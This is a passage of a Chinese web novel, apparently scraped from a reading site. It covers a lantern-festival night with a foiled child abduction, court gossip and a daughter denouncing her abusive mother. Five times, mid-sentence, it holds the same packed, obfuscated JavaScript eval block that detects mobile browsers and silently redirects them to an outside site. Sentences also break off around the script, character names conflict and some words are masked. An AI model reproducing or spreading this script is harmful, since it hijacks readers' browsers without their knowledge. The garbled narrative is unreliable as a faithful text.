只是……远远地,她瞧见了童玄珏。他和舒临风并肩站在一处,似乎在低声交谈。 余光里,她瞥见了他。可不知为何,他只是远远地望了一眼,便转过身,转身往另一个方向离开,没有半点要过来的意思。 这感觉……就像是满天的烟花,再怎么绚烂,终究不过是转瞬即逝。再美,也留不住。 晏清澜的嘴角微微扯动了一下,也不知是自嘲,还是失落。或许,童玄珏是真的想明白了,他想要的,究竟是什么。 也好,至少,一切都还未发生,不是吗? “阿清姐姐?阿清姐姐!”宋溪溪的声音拔高了几分,带着明显的担忧,“你在想什么呢?我叫了你好几声,你都没理我……” 她轻轻晃了晃晏清澜的袖子,力道很轻,却足以将人从纷乱的思绪中拉回来。 晏清澜回过神,对上宋溪溪那双写满了关切的眸子,心头不由得一暖。她抬手,轻轻揉了揉宋溪溪的头发,声音很轻,像是怕惊扰了什么: “没什么,就是觉得……今晚的烟花,放得真好。” 她努力让自己的语气听起来轻快一些,只是,到底不复来时的兴致。 “咱们回去吧,”晏清澜顿了顿,又补上一句,“去看看大哥那边怎么样了。” “好!”宋溪溪立刻点头,乖巧得像只小猫。 两人并肩而行,将提着金凤灯的姚澜抛在了身后。 姚澜低头看了看怀中精致的灯盏,又看了看那两个渐行渐远的背影,默默叹息一声,认命地跟了上去。 - 再说姚澜这边。 他紧赶慢赶,总算是追上了宋溪溪,结果,这丫头一回头,就劈头盖脸地质问: “你追上来做什么?!” 宋溪溪双手叉腰,气鼓鼓地瞪着他,那眼神,像是要把他给活吃了。 姚澜被她这突如其来的怒火弄得一愣,随即哭笑不得地反问:“我不追你,那我去哪儿?” 宋溪溪噎了一下,随即像是看傻子一样看着他,抬手就给了他肩膀一拳,不轻不重,带着明显的嗔怪: “姚澜,你是不是傻?你不是喜欢我阿清姐姐吗?我这是在给你制造机会!让你和她独处!你倒好……” 她“唉”了一声,一副恨铁不成钢的模样,捶胸顿足。 姚澜只觉得太阳穴突突直跳,他强忍着把这丫头拎起来的冲动。晏清澜?这丫头的脑子到底是怎么长的? 他无奈地按了按眉心,罢了,和一个小丫头计较什么。 “我不喜欢她,”姚澜深吸一口气,尽量让自己的语气听起来平静一些,“你以后别再乱点鸳鸯谱了。” 他垂眸看着宋溪溪,语气严肃:“方才,你阿清姐姐已经明显不悦,你最好别再犯这事,没得惹人误会。” “万一,”他刻意压低了声音,补充道,“万一下次晏四姑娘有了心上人,你又这么做,童玄珏那家伙还不得以为你要做什么?” 姚澜越想越觉得有道理,他弯起唇角,循循善诱:“晏四姑娘才貌双绝,喜欢她的人多了去了,你说万一哪天,她真有了心悦之人,结果,你这一出,正好被她喜欢的人瞧见了,那得多尴尬?到时候解释都解释不清。” 某种意义上讲,姚澜这番话倒也不算危言耸听,至少唬住了宋溪溪。 宋溪溪听了,觉得有几分道理,她若有所思地点了点头,眉头微微皱起,似乎是在认真思考这个问题,全然忘了追问他为什么不陪着晏清澜。 就在这时,天空中“砰”的一声巨响,一朵巨大的烟花绽放开来,将夜空照得如同白昼。 皓月当空,清冷的光辉洒落,给这热闹的夜晚平添了几分静谧。 “算了,先不说这个了,”宋溪溪回过神来,语气突然变得凶巴巴的,“所以,你把我阿清姐姐一个人扔那儿,自己跑回来了?” 她眯起眼睛,眼神危险,像一只随时准备扑上去的小老虎。 “我可告诉你,姚澜,今天中秋,外面人多眼杂,万一我阿清姐姐出了什么事,我饶不了你!” 姚澜:“……” 他觉得自己太阳穴跳得更厉害了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16450360|178491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “不是,溪溪,是……是你阿清姐姐,让我来寻你的……” 他顿了顿,还是没忍住,小心翼翼地问出了那个让他百思不得其解的问题:“你……就这么担心她?” 宋溪溪二话不说,直接瞪了他一眼,然后,提着灯笼,转身就走,一边走还一边低声抱怨: “中秋佳节,外面那么多人,什么样的人都有,万一我阿清姐姐遇到什么危险怎么办?” “我得去找她!”她越说越急,脚步也越来越快,“她一个……嗯,总之,她一个人在外面我不放心!” 姚澜:“……” 他觉得自己一定是出现了幻听,不然,怎么会觉得宋溪溪差点说出“手无缚鸡之力”这几个字? 他忍不住抬手,狠狠地掐了自己一把。 嘶——真疼! 不是幻听! 姚澜倒吸一口凉气,觉得自己有必要纠正一下宋溪溪的认知。 “溪溪,”他快走几步,跟上宋溪溪,“你是不是对‘弱女子’这三个字有什么误解?” 宋溪溪脚步一顿,猛地回头,恶狠狠地瞪着姚澜,像一只被踩了尾巴的小猫。 “你想说什么?”她咬牙切齿。 姚澜清了清嗓子,努力让自己的语气听起来委婉一些: “你有没有想过,那个……被调戏之后,第二天就敢给人家送狼的晏四姑娘,可能……大概……也许……不需要你这么担心?” 他小心翼翼地观察着宋溪溪的脸色。 “这临川城里,谁不知道晏四姑娘的‘威名’?说句不好听的,就算真有不长眼的,恐怕也得掂量掂量自己有几条命。” 宋溪溪的脸色果然变得更难看了。 “那又怎么样?”她梗着脖子,强词夺理,“就算阿清姐姐再厉害,她也是个姑娘家!我就不能担心她了吗?” 姚澜:“……” 得,他算是看出来了,在宋溪溪这里,晏清澜就是个易碎的瓷娃娃,谁都不能说她一句不好。 “好好好,你担心,你担心。”姚澜连忙举手投降,“我不说了,我不说了还不行吗?” 他算是怕了这小丫头了,再争下去,估计她能把自己给吃了。 第二百七十七章 “这还差不多!”宋溪溪这才满意地哼了一声,扭过头,继续往前走,显然是不想再搭理他了。 姚澜默默叹息一声,只觉得自己比窦娥还冤。他招谁惹谁了? 他总算开窍了,在宋溪溪心里,童玄珏和晏清澜,都是不能招惹的存在。 这两人,一个比一个邪门,凑在一起,那就是两个大魔王。 算了算了,惹不起,他还躲不起吗? 姚澜认命地跟在宋溪溪身后,心里暗暗发誓,以后一定要离这两人远一点。夜幕低垂,街边却是一片灯火通明。 各色摊贩的叫卖声混着人群的喧嚣,热闹非凡。 韩清韵信步走着, 目光在两侧的小摊上流连。 最终,她的视线停留在一把小巧的**上。 那**的柄上雕着精致的花纹,在灯火下泛着冷冽的光。 她拿起来,在指尖转了个圈, 入手冰凉的触感让她满意地挑了下眉。 “就它了。” 将**收入袖中,韩清韵转身,却对上宋明澜似笑非笑的眼神。 “悄悄跑出皇宫,就为了买这把小玩意儿?” 他挑眉,语气里带着几分揶揄。 韩清韵耸耸肩, “难得出来一趟,自然要寻些合眼缘的物件。” 她顿了顿,嘴角勾起一抹狡黠的笑: “再说,这热闹景象,宫里可瞧不见。” 宋明澜微微颔首。 他知道,这位三公主性子洒脱,不喜拘束。 宫中的生活,对她而言或许太过沉闷。 只是… 他目光扫过韩清韵略显单薄的衣衫, “这天气…你也不怕着凉。” 话音未落,天边绽放出绚烂的烟花,将夜空点缀得如梦似幻。 韩清韵仰头望着,眼中闪过一丝惊叹。 突然,一阵凉风袭来, 风里似乎都带着冰碴子。 她单薄的衣衫根本挡不住这寒意, 鼻子一痒, “阿嚏——” 一个喷嚏,震天响。 韩清韵揉了揉鼻子, 在心里把这贼老天骂了个狗血淋头。 平时身子骨挺好,偏偏这时候掉链子! 宋明澜看着她冻得发红的鼻尖, 眉心微不可察地跳动了一下。 他抿了抿唇, 目光在她和自己身上的披风之间来回逡巡。 纠结半晌, 他还是把披风解了下来,递了过去: “沈五小姐,披上吧,别冻着了。” 语气比方才更柔和了些, 却依旧带着几分不容置喙。 韩清韵一怔, 心头涌上一股暖流。 她也没矫情,接过披风裹在身上。 “多谢了。” 声音闷闷的,带着几分不易察觉的????????意。 厚实的披风带着宋明澜身上特有的松木香, 瞬间驱散了寒意。 韩清韵忍不住缩了缩脖子, 把脸埋在披风里,深深吸了口气。 就在这时,一声尖锐的哭喊划破了夜空的宁静: “救命!有人抢孩子!” 韩清韵猛地抬起头, 只见一个五大三粗的汉子抱着个孩子,正跌跌撞撞地朝这边跑来。 汉子身后,一个瘦弱的妇人正撕心裂肺地追赶, “还我孩子!你还我孩子!” 那妇人脚下一个踉跄,眼看就要摔倒。 韩清韵顾不得多想,足尖一点, 整个人如同离弦的箭一般冲了出去。 她身形一晃,便挡在了那汉子面前。 汉子见有人拦路, 眼中闪过一丝凶狠。 他不管不顾地继续往前冲, 试图把韩清韵撞开。 韩清韵冷笑一声, 侧身避开汉子的冲撞, 同时伸出右腿, 狠狠地踹在了汉子的膝盖窝上。 “哎呦!” 汉子惨叫一声, 一个狗啃屎扑倒在地。 孩子也从他怀里滚了出来。 韩清韵眼疾手快, 一把将孩子捞进怀里。 孩子吓坏了,紧紧地搂着韩清韵的脖子, 哇哇大哭。 那汉子挣扎着爬起来, 还想来抢孩子。 韩清韵抬脚又是一踹, 直接将他踹翻在地。 “你这人贩子,光天化日之下竟敢抢孩子!” 她怒斥道, 声音清脆,却带着不容置疑的威严。 那汉子被踹得七荤八素, 眼珠子一转, 突然嚎啕大哭起来: “冤枉啊!我是孩子的亲爹啊!” “这婆娘才是人贩子,她要把我儿子卖了!” 他一边哭喊,一边指着那追来的妇人, “大家伙儿给评评理,哪有人贩子大白天抢孩子的?” 那妇人跑到近前, 听到汉子的话, 气得浑身发抖: “你……你血口喷人!” “压根没见过你这号人!” 她指着汉子, 声音嘶哑, “乡亲们,这人是个人贩子,求你们救救我的孩子!” 围观的人越来越多, 大家议论纷纷, 却都不知道该相信谁。 “这……谁说的是真的?” “看着都不像好人……” “这年头, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16454964|178491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拐子也太猖狂了!” “……” 那汉子见众人将信将疑, 更是卖力地哭喊起来: “我真是孩子的亲爹啊!不信你们问问孩子!” 说着,他看向韩清韵怀里的孩子, 换上了一副慈爱的表情: “儿子,你告诉大家,我是谁?” 孩子被他吓得直往韩清韵怀里缩, 哭着喊道: “我不认识他!他不是我爹!” 汉子脸色一僵, 随即又换上了一副痛心疾首的模样: “儿啊,你怎么能这么说呢?” “你是不是被这女人给吓着了?” “……” 就在这时,一阵急促的马蹄声传来。 人群自动分开一条道路, 一群官兵手持火把, 簇拥着一个身着铠甲的年轻将领走了过来。 “是陆小将军!” 人群中有人认出了来人, 惊呼出声。 那汉子一听“陆小将军”四个字, 顿时如同见了猫的老鼠, 身子一哆嗦, 脸上的表情也变得僵硬起来。 为首的官兵走到宋明澜面前, 抱拳行礼: “陆少将,您怎么在这儿?” 宋明澜微微颔首, 指了指那汉子和妇人, 言简意赅地将事情经过说了一遍。 “……事情就是这样,两人互相杠上了,卑职不敢擅专,还请陆少将定夺。” 那官兵听完, 皱着眉头看向那汉子。 他总觉得这汉子有些眼熟, 似乎在哪里见过。 他沉思片刻, 突然眼睛一亮, 从衣服里摸出张皱皱巴巴的纸条, 展开一看, 上面画着一个五官扭曲的人像。 他将画像与那汉子仔细对比了一番, 顿时怒火中烧: “好你个狗东西,竟敢冒充孩子的亲爹!” 他一把揪住那汉子的衣领, 将他从地上提了起来, “你可知罪!” 那汉子被吓得魂飞魄散, “扑通”一声跪倒在地, 连连磕头: “军爷饶命!军爷饶命!小的再也不敢了!” 那官兵冷哼一声, 对手下的人说道: “把他押回衙门,严加审问!” “是!” 官兵们应了一声, 将那汉子押了下去。 那妇人见状, “扑通”一声跪倒在韩清韵和宋明澜面前, 连连磕头: “多谢二位恩公救命之恩! 第二百七十八章 多谢二位恩公救命之恩!” 她感激涕零, 声音哽咽。 韩清韵将孩子交给妇人, 轻声说道: “快带孩子回家吧,以后可要小心些。” 妇人抱着孩子, 再次道谢, 这才一步三回头地离开了。人群散去,方才还喧闹的街角,此刻只剩下了寥寥几人,气氛却比方才更微妙。 “感激陆将军大恩,承蒙姑娘相助。” 那妇人抱着失而复得的孩子,声音还带着哭腔,朝着宋明澜和韩清韵深深鞠了一躬,眼眶通红,眸中泪光闪烁,满是劫后余生的庆幸与感激。 宋明澜微微颔首,只淡淡地说了句:“举手之劳。” 韩清韵的视线落在那几个官兵的身上,她顿了顿,轻声开口: “今日过节,街上人多,几位官爷能不能送这位夫人和孩子回去?也省得再出什么岔子。” 她这话其实有些多虑了,毕竟光天化日,众目睽睽之下,拐子再大胆,也不至于再动手。只是她方才险些也着了道,实在是不放心。 城守备军并不知晓韩清韵的身份。 为首的官兵见她周身气派,通身贵气,便以为是哪家出来游玩的小姐,也不敢怠慢。他略一迟疑,便唤了两名士兵,低声嘱咐几句,示意他们护送那对母子离去。 韩清韵这才缓缓收回了视线,她轻轻拍了拍披风,指尖微微用力,眉宇间流露出一丝心疼。 这披风是宋明澜的,还是因为她才弄脏的,回去可得好好洗洗。 宋明澜将她细微的动作尽收眼底,有些意外地挑了挑眉,唇角勾起一抹玩味的弧度: “你还会功夫?” 他的声音低沉而富有磁性,语气中带着一丝探究,还有几分不易察觉的赞赏。 方才那身手,可不像是装的。 他原本还担心她偷偷溜出宫来,在这人潮汹涌的街上会有危险,这才一路跟着,有一搭没一搭地和她闲聊。 没成想,倒是他多虑了。这丫头,胆子可真够大的。 韩清韵被他这么一问,反倒有些不好意思起来。她抬眸看了宋明澜一眼,随即又飞快地垂下眼睫,轻轻“嗯”了一声,吐了吐舌头,带着几分俏皮地笑着解释: “九岁开始学的,会是会一点,不过跟陆小将军的妹妹比起来,可就差远啦!” 她抿了抿唇,语气中带着一丝自谦,倒也是实话。 宋明澜闻言,倒是忍俊不禁,低低地笑出了声。 “比起阿清,那确实还差点。不过,要是和溪溪比嘛……” 他故意拉长了语调,说到一半却突然停住,眼角的余光若有似无地扫向一旁。 “陆!飞!白!” 果不其然,身后传来一声咬牙切齿的呼唤。 宋溪溪不知何时冒了出来,正双手叉腰,气势汹汹地瞪着他,一副“你死定了”的表情。 “你又在背后编排我什么呢?” 宋溪溪几步走到宋明澜面前,毫不客气地质问道。 “哪有编排,”宋明澜一脸无辜,伸手捏了捏宋溪溪的脸颊,语气中带着一丝宠溺,“我说的是实话。你这丫头,就不能温柔点?当心以后嫁不出去。” “用不着你操心,”宋溪溪毫不客气地拍开他的手,回怼道,“你还是先管好你自己吧!” 她轻哼了一声,目光一转,落在了宋明澜身旁的韩清韵身上。 看清来人,宋溪溪的眼睛瞬间亮了几分,像是发现了什么新大陆一般。 “沈五小姐?”她惊讶地睁大了眼睛,随即又像是想起了什么似的,迅速换上了一副乖巧的面孔,亲**打着招呼,“真巧,竟在这儿碰上了。” 只是,当她的视线扫过韩清韵身上那件明显属于男子的披风时,还是没忍住,流露出了一丝难以掩饰的惊讶,差点连下巴都惊掉了。 她立刻转头看向晏清澜,使劲眨了眨眼,仿佛在说:快看!这可是大新闻! 晏清澜显然也被这披风给惊到了。 不过两人都是见过世面的,再怎么心潮澎湃,面上也还算稳得住,只是暗暗交换了一个眼神,心照不宣。 姚澜站在一旁,将一切尽收眼底,却始终不动声色,仿佛什么都没察觉,只是默默地观察着众人的反应,让人猜不透他心里在想些什么。 然而,总有那么几个人,是沉不住气的。 “五、三公主?” 人群中突然响起一个尖锐的女声,打破了这微妙的氛围。 晏玥玥提着一盏花灯,原本还兴冲冲地想过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16454965|178491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来凑热闹,此刻却像是被雷劈中了一般,僵在了原地,脸色一阵青一阵白。 她直勾勾地盯着韩清韵,嘴巴张了张,似乎想说些什么,却又发不出声音来。 她身旁的钱雅芝和晏远舟也是一脸震惊,但比晏玥玥要冷静得多,两人不着痕迹地交换了一个眼神,都从对方眼中看到了担忧。 “公主殿下……怎么会在这儿?” 晏玥玥终于找回了自己的声音,但语气中还是带着一丝难以置信。 她刚刚明明看到,三公主身上,披着宋明澜的披风! 这……这怎么可能? 一连串的问题在晏玥玥脑海中炸开,她感觉自己好像发现了什么不得了的秘密,但又不敢相信。 她的声音不大,但在这安静的氛围中,却显得格外清晰。 原本已经散去的人群,又开始蠢蠢欲动,窃窃私语声再次响起。 “三公主?在哪儿呢?” “真的假的?三公主怎么会出宫?” “你们快看,她身上披着的,好像是陆家公子的披风!” “天哪!这是什么情况?” “……” 众人议论纷纷,目光在韩清韵和宋明澜之间来回扫视,眼神中充满了八卦的光芒。 更有甚者,已经开始脑补起了一出公主与将军的爱恨情仇大戏。 “这陆小将军和三公主,这对CP真是绝了。”有人小声嘀咕。 “可不是嘛,一个英俊潇洒,一个貌美如花,简直是天造地设的一对。” “不过,三公主可是金枝玉叶,陆家虽然也是名门望族,但……” “这有什么,英雄配美人,自古以来就是佳话!” 大家七嘴八舌地讨论着,越说越兴奋,全然忘了当事人还在场。 韩清韵只觉得脸上火辣辣的,像是被人当众扇了几个耳光。 她下意识地拽紧了身上的披风,恨不得找个地缝钻进去。 宋明澜也有些尴尬,他轻咳一声,正想开口解释,却被晏玥玥抢先了一步。 “我、我一定是看错了,”晏玥玥的声音有些颤抖,带着一丝心虚,“公主殿下怎么会和陆家大哥……一定是误会了。” 她这话,不说还好,一说,反而更让人觉得欲盖弥彰。 第二百七十九章 大家都是明白人,谁还看不出这里面的猫腻? 一时间,各种猜测和议论声更甚,几乎要将韩清韵和宋明澜淹没。 晏清澜冷眼看着这一切,心中暗自冷笑。 这晏玥玥,还真是个蠢货,成事不足败事有余。 她正想开口说些什么,却听得身后传来一个清冷的声音: “时候不早了,我们撤了吧。” 姚澜不知何时站在了她的身后,语气平淡,却带着一丝不容置疑的意味。 他淡淡地扫了一眼人群,目光在韩清韵身上停留了一瞬,随即又若无其事地移开。 “舅舅还等着呢。”他又补充了一句。夜色渐深,寒意如同无孔不入的细针,悄然刺入每个人的肌肤。灯市的光影在夜风中摇曳,将人影拉得忽长忽短,平添了几分光怪陆离。 “这披风……” 低沉而熟悉的声音在身后响起,晏清澜原本平静无波的心湖,微微荡起了一丝涟漪。 她缓缓转身,循声望去。 只见童玄珏孑然而立,站在灯火阑珊之处。他脸上依旧覆着那张标志性的青玉面具,将他的喜怒哀乐尽数隐藏。 月光洒落,为面具镀上一层清冷的光辉,更显神秘莫测。 他的手里提着大包小包,各色物件琳琅满目,显然是刚从集市上满载而归。其中,一件女子披风尤为引人注目。 晏清澜的目光在那披风上停留了片刻,只一眼,她便能断定,这披风绝非凡品。 无论是织工细密的质地,还是绣工精湛的图案,都彰显着它的价值不菲。 只是,这披风的样式…… 晏清澜微微蹙眉,心中泛起一丝疑惑。这披风虽然华美,却与韩清韵平日里的喜好大相径庭。 那位三公主,素来偏爱明艳活泼的风格,而这件披风,却透着一股沉静内敛的味道,更像是……为另一个人准备的。 人群中,窃窃私语声渐起,如蚊蝇般嗡嗡作响。 当众人看清童玄珏脸上的青玉面具时,原本嘈杂的议论声戛然而止,仿佛被一只无形的手扼住了喉咙。 所有人都下意识地低下了头,收敛了目光,不敢再随意窥探。 血判官童玄珏。 这五个字,在汴京城中,有着令人闻风丧胆的魔力。 谁敢在他的眼皮底下放肆? 那不是自寻死路吗? 韩清韵显然也没料到会在这里与童玄珏相遇,她愣了片刻,才回过神来。 电光火石之间,她便明白了童玄珏的用意——他在为她解围。 这位表哥,虽然在外界的传闻中,是个**如麻、冷酷无情的煞星。但在韩清韵的记忆里,他却并非全然如此。 至少,他对她和阿玥,虽算不上有多亲厚,却也从未有过任何苛责。 韩清韵深吸一口气,强压下心头的慌乱,莲步轻移,缓缓走向童玄珏。 她努力让自己的表情看起来自然而平静,声音也尽量保持着往日的娇柔: “表哥。” 童玄珏微微颔首,算是回应。他随手将一个木雕的小玩意儿塞进韩清韵手中,动作随意,却带着一丝不容置喙的意味。 “你要的东西,都置办妥当了。”他的声音低沉而平淡,听不出任何情绪,“往后莫要再缠着舅舅,让他允你私自出宫了。” 韩清韵接过木雕,乖巧地点了点头,内心总算是放下了一块大石头。 至少,眼前的危机算是暂时解除了。 可是…… 韩清韵的目光不着痕迹地扫过四周,心中仍有一丝隐忧。 她担心有人会揪着她披着宋明澜披风这件事不放。毕竟,在这样的场合,男女之间任何一点细微的举动,都可能被无限放大,成为流言蜚语的**。 她必须想个法子,彻底撇清这件事。 韩清韵眼珠一转,计上心头。她微微侧身,靠近童玄珏,声音压得更低了些: “对了,表哥,刚才你不是已经把钱给宋少爷了吗,对吧?既然如此,这披风严格来说,已经不算他的了,而是我的,对不对?” 童玄珏瞥了她一眼,似乎对她的这点小心思了如指掌。他微微颔首,“嗯”了一声,算是肯定了她的说法。 他的眸光依旧冷冽,说话依然带着冷冽的感觉。只是,在说话间,他的目光却有意无意地扫向了不远处的晏清澜。 “今日这风,来得突然,变了天。再让人去给你买件姑娘家穿的披风,怕是来不及了。” 童玄珏的声音顿了顿,像是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16458831|178491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在思索着什么。 “原本,我是想着,不如先借晏四姑娘身上那件御寒。可……”他话锋一转,声音中带上了一丝惋惜,“晏四姑娘身子弱,这事儿,在场的人都清楚。早些年,她在大冷天里被人推下水,落下了病根,最是受不得寒。” 说到这里,他微微侧目,目光扫过人群中面色各异的众人。 “我思来想去,也只能买下陆少将身上这件了。毕竟……” 童玄珏轻描淡写地解释着,仿佛这只是一件再寻常不过的小事。 “陆少将是上过战场、见过血的,身子骨硬朗,这点子冷风,对他来说不算什么。可你就不一样了,你是姑娘家,身子金贵,不能受半点凉。” 被点到名的晏清澜,下意识地抬眸看了童玄珏一眼。 她的眼中闪过一丝复杂的情绪,似有无奈,又似有感激。 她不动声色地拢紧了身上的披风,轻轻地搓了搓手,仿佛真的很怕冷似的。 她微微欠身,面上带着几分歉疚之色: “王爷说的是,我这副身子,实在是不争气,帮不上三公主的忙,也是有心无力。” 童玄珏的目光在晏清澜那张莹白如雪的小脸上缓缓扫过,那目光,似乎能穿透人的肌肤,直达心底。 他忽地勾起唇角,露出一抹意味难明的笑容: “说起来,晏四姑娘也着实不易。当年冬日里被自己的生母推下水,那会儿年纪又小,身子骨还没长成,又成日里泡在药罐子里,现在特别容易感觉到寒意,也是人之常情。” 此言一出,人群中顿时一片哗然,惊呼声此起彼伏。 原本牵着晏玥玥的钱雅芝,脸色更是“唰”地一下变得惨白,毫无血色,仿佛被人当众揭开了最不堪的伤疤。 谁也没想到,在这光天化日之下,竟能听到这等秘辛! 晏四姑娘竟然曾被自己的亲娘推下过水? 这……这简直比戏文里说的还要离奇! 众人看向晏清澜的目光,顿时变得复杂起来。 有同情,有怜悯,也有几分看好戏的意味。 难怪……难怪晏四姑娘回京这么久,一直住在外头,不肯回府。 难怪,她见了庄家人,也总是冷冷淡淡的,不肯亲近。 第二百八十章 原来,这背后竟藏着这样的隐情! 也是,这高门大宅里的水,深着呢。 光鲜亮丽的表象之下,不知掩盖了多少龌龊事。 钱雅芝张了张嘴,想要为自己辩解几句。可话到嘴边,不知从哪里开口比较好。 她心里清楚,这种事情,只会越描越黑,多说无益。 童玄珏却像是没注意到钱雅芝的窘迫似的,他自顾自地将手中的披风扔给韩清韵,动作间透着一股漫不经心的嫌弃。 “这件是方才让下人去给你买的新的。你身上那件,等回去就直接扔掉算了。” 他淡淡地吩咐道, “虽说是舅舅从前赏的料子,确实已经不太新了,与你的身份不符。” 他这挥金如土、目中无人的架势,除了那位令人闻风丧胆的燕王殿下,还能有谁? 众人心中虽然腹诽,却也不敢有任何异议。 毕竟,童玄珏凶名在外,“血判官”三个字,就如同刻在他脑门上的烙印,谁见了都得心惊胆战,避之唯恐不及。 “这燕王,平日里行事乖张,今日倒是做了件人事。”人群中,有人低声嘟囔了一句。 “可不是嘛,三公主好歹也是金枝玉叶,总不能让她穿着别人的披风回去。” “说起来,陆家公子也真是倒霉,好端端的,竟惹上了这位煞星。” “谁说不是呢?不过,我瞧着,这事儿还没完呢。” “怎么说?” “你们没瞧见吗?燕王殿下看陆家公子的眼神,可不一般啊。” “你的意思是……” “嘘……慎言!这种事情,咱们心里明白就好,可不敢乱说。” “……” 窃窃私语声在人群中蔓延开来,如同一张无形的网,将所有人都笼罩其中。 而原本还算得上是焦点的宋明澜,此刻却仿佛被人遗忘了一般,孤零零地站在那里,无人问津。 他的脸色一阵青一阵白,显然是被气得不轻。 他怎么也没想到,自己竟然会成为众人茶余饭后的谈资。 而且,还是以这样一种不堪的方式。 他深吸一口气,努力平复着心中的怒火。 他知道,自己不能在这里发作。 否则,只会让事情变得更糟。 他必须冷静下来,想个法子,化解眼前的危机。 他微微抬眸,看向不远处的姚澜。 只见姚澜依旧站在那里,脸上没有任何表情,仿佛眼前的一切都与他无关。 宋明澜的心中,不由得升起一股无力感。 他知道,自己和姚澜,都已经成为了这场闹剧中的棋子。 而下棋的人,正是那位高高在上、喜怒无常的燕王殿下。 **,自己接下来会面临什么。 但他知道,自己必须小心应对,才能在这场权力与阴谋的漩涡中,保全自己。童玄珏带着韩清韵走了,一场闹剧落幕,只留下窃窃私语的人群。 人们的目光,像未燃尽的炭火,带着余温,又落回了庄家这边。 钱雅芝深吸一口气,努力压下心头的厌恶。 她脸上勉强堆起一个笑,朝晏清澜伸出手,声音轻柔: “阿清,娘好久没见你了,你的身体还撑得住吗?” 她努力装出慈母的样子,仿佛真是个惦记女儿的母亲。 可晏清澜却退后一步,避开了她的触碰,像是躲避什么脏东西。 “晏夫人,” 晏清澜开口,声音里没有一丝温度, “别这么叫我,我听着,怪不习惯的。” 她嘴角勾起一抹嘲讽的笑,毫不掩饰眼底的冰冷, “您还是叫我‘孽障’、‘扫把星’吧,反正您心里,一直都这么认为的。” 钱雅芝脸上的笑容瞬间僵住,像是被人狠狠扇了一巴掌,火辣辣的疼。 晏清澜回京后,这是她们第一次正面交锋。 从前那个畏畏缩缩,生怕惹她生气的病秧子,如今却冷眼看她,眼神里没有丝毫孺慕和期待。 钱雅芝一时竟难以将两个人联系起来,只觉得心里一阵阵发寒。 周围百姓的目光像一把把小刀,一下下扎在她心上,刺得她生疼。 钱雅芝这辈子最重颜面,哪里受得了这个。 她张了张嘴,想说些什么,却又不知从何说起,舌头像是打了结。 她勉强扯出一个笑,试图辩解: “你这孩子,瞎说什么呢……娘只是……” “只是”什么?她卡壳了,后面的话像鱼刺一样哽在喉咙里,吐不出来。 “晏夫人不必自欺欺人,” 晏清澜冷冷打断她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16458832|178491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' , “你是什么样的人,你知,我知,这满大街的人也都知道。又何必在这里演戏?” 她抬眼扫视四周,目光如刀, “我这条贱命能留到现在,多亏了老天爷开眼。这条小命是你给的,也早在你把我赶出家门的时候,就还清了。” 晏清澜的声音不大,却清晰地传入每个人的耳中, “你也别以为装傻就能当什么事都没发生过,那些年你做过什么,说过什么,我可都记着呢!你也最好给我牢牢记住,别哪天忘了,又想来磋磨我!” 她这番话,如平地惊雷,震得众人目瞪口呆。 晏清澜看着众人震惊的眼神,心中没有一丝波澜。 她知道,自己今天这番话,算是把钱雅芝的脸面彻底撕了下来。 但她不在乎,她就是要让所有人都知道,钱雅芝是个什么样的人。 晏玥玥从震惊中回过神,见晏清澜如此不给母亲面子,立刻站出来,指着晏清澜的鼻子骂道: “晏清澜!你疯了吗?你怎么敢这么跟母亲说话!” 她气得浑身发抖, 